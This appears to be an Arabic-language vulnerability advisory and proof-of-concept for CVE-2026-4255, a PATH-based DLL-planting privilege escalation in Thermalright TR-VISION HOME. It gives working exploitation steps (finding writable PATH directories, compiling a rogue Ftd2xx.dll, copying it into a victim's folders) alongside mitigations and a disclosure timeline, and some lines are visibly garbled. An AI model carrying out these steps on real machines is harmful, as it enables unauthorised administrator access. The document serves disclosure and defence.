
إثبات المفهوم لـ CVE-2026-4255: تصعيد الامتيازات عبر تحميل DLL جانبي في Thermalright TR-VISION HOME عبر غرس دليل PATH، مع تحليل كامل للسبب الجذري وإرشادات التخفيف.
الشدة: عالية (CVSS 8.4)
CWE: CWE-829 تضمين وظائف من مجال تحكم غير موثوق
نُشر: 16/03/2026
CNA: Toreon
الإصدارات المتأثرة: Thermalright TR-VISION HOME ≤ 2.0.5 (Windows 64 بت)
اكتشفه: Ard33
يقوم برنامج Thermalright TR-VISION HOME بتحميل Ftd2xx.dll (مكتبة FTDI USB-to-serial) باستخدام ترتيب البحث الافتراضي لنظام Windows لملفات DLL. يتضمن هذا الترتيب أدلة قابلة للكتابة من قبل المستخدم قبل مواقع النظام المحمية. نظرًا لأن TR-VISION HOME يعمل دائمًا بامتيازات إدارية ولا يقوم بالتحقق من سلامة أو توقيع المكتبات المحملة، يمكن للمهاجم الذي يمكنه الكتابة في أي دليل موجود في PATH زرع ملف Ftd2xx.dll معدل بحيث يتم تحميله بامتيازات مرتفعة في المرة التالية التي يتم فيها تشغيل التطبيق.
ليست هناك حاجة إلى حقوق إدارية لزرع ملف DLL. يمكن لمستخدم منخفض الامتيازات استغلال ذلك ضد أي مستخدم يقوم لاحقًا بتشغيل TR-VISION HOME بامتيازات مرتفعة.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
| المقياس | القيمة |
|---|---|
| ناقل الهجوم | محلي |
| تعقيد الهجوم | منخفض |
| متطلبات الهجوم | لا شيء |
| الامتيازات المطلوبة |
يستدعي التطبيق LoadLibrary("Ftd2xx.dll") (أو يستورده ضمنيًا وقت التحميل) دون تحديد مسار مؤهل بالكامل. يقوم Windows بحل المكتبة عن طريق السير في ترتيب البحث المحدد في MSDN - ترتيب البحث عن مكتبة الارتباط الديناميكي:
C:\Windows\System32)PATH ← قابل للاستغلاليقوم المهاجم بزرع Ftd2xx.dll في دليل قابل للكتابة من قبل المستخدم يظهر في PATH قبل System32. الدليل C:\Users\<User>\.local\bin) هو أحد هذه الأدلة ويكون موجودًا في PATH افتراضيًا، مما يجعله موقع إسقاط موثوقًا.
| البرنامج | الإصدار | المنصة |
|---|---|---|
| Thermalright TR-VISION HOME | ≤ 2.0.5 | Windows x64 |
تم اختباره على TR-VISION HOME 2.0.5 على Windows 11.
%PATH%1. تحديد دليل PATH قابل للكتابة
$env:PATH -split ';' | Where-Object {
if (-not $_ -or -not (Test-Path $_)) { return $false }
try {
$t = Join-Path $_ '.wrtest'
[System.IO.File]:https://raw.githubusercontent.com/ard33/cve-2026-4255/HEAD/:Create($t).Close()
Remove-Item $t -Force
$true
} catch { $false }
}
افتراضي موثوق: C:\Users\<User>\.local\bin
2. ترجمة DLL الخاصة بإثبات المفهوم
MinGW (مشترك أو أصلي):
gcc -shared -o Ftd2xx.dll poc/Ftd2xx.c -Wl,--out-implib,Ftd2xx.lib
MSVC:
cl /LD poc\Ftd2xx.c /Fe:Ftd2xx.dll
3. زرع DLL
اختر أي دليل قابل للكتابة من الخطوة 1. افتراضيان شائعان:
:: دليل البرامج النصية الافتراضي لـ uv / pipx
copy Ftd2xx.dll "C:\Users\<victim>\.local\bin\Ftd2xx.dll"
:: مشغل Python (تثبيت Python القياسي)
copy Ftd2xx.dll "C:\Users\<victim>\AppData\Local\Programs\Python\Launcher\Ftd2xx.dll"
لا يلزم رفع امتيازات لهذه الخطوة.
4. التشغيل
يطلق الضحية TR-VISION HOME (مثلًا من قائمة ابدأ أو شريط النظام). يطلب UAC تشغيل التطبيق بامتيازات إدارية. أثناء التهيئة، يتم حل Ftd2xx.dll عبر ترتيب البحث، ويتم العثور على النسخة المزروعة قبل System32، ويتم تنفيذ DllMain الخاص بالمهاجم داخل العملية المرتفعة.
5. النتيجة المتوقعة
C:\Users\Public\CVE-2026-4255_pwned.txt يحتوي على:
TokenIsElevated = YESProcmon يظهر TR-VISION HOME (PID 78940) يبحث عن Ftd2xx.dll عبر أدلة PATH - جميعها ترجع NAME NOT FOUND حتى يتم حل النسخة المزروعة:

Ftd2xx.dll مزروع في AppData\Local\Programs\Python\Launcher\ (التاريخ 26/12/2025 — يوم الاكتشاف):

شل cmd مرتفع تم إطلاقه بواسطة DLL المحملة - شريط العنوان يؤكد سياق المسؤول:

الإصدار TR-VISION HOME 2.0.5:

بالنسبة لـ Thermalright:
Ftd2xx.dll باستخدام مسار مؤهل بالكامل في وقت التشغيل:
LoadLibraryExA("C:\\Windows\\System32\\Ftd2xx.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
LOAD_LIBRARY_SEARCH_SYSTEM32 أو LOAD_LIBRARY_SEARCH_APPLICATION_DIR مع LoadLibraryEx.WinVerifyTrust.HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode = 1)، على الرغم من أن هذا لا يخفف تمامًا من الزرع عبر PATH.للمستخدمين (مؤقتًا):
Ftd2xx.dll الشرعي (من حزمة برامج تشغيل FTDI D2XX) مباشرة في دليل تثبيت TR-VISION HOME (مثل C:\Program Files\TR-VISION HOME\). دليل التطبيق هو أول موقع يتم البحث فيه، لذا فإن النسخة الشرعية هناك تأخذ أولوية على أي زرع قائم على PATH.| التاريخ | الحدث |
|---|---|
| 26/12/2025 | اكتشاف الثغرة |
| 27/12/2025 | التواصل مع البائع (Thermalright) عبر قنوات الدعم |
| 16/03/2026 | الإفصاح العام - تم تعيين CVE-2026-4255 بواسطة Toreon CNA |
يتم توفير إثبات المفهوم هذا للأغراض التعليمية والبحثية فقط. حمولة إثبات المفهوم غير ضارة عن قصد - فهي تكتب ملفًا نصيًا وتعرض مربع رسالة. استخدم فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
| لا شيء |
| تفاعل المستخدم | نشط (الضحية يقوم بتشغيل التطبيق) |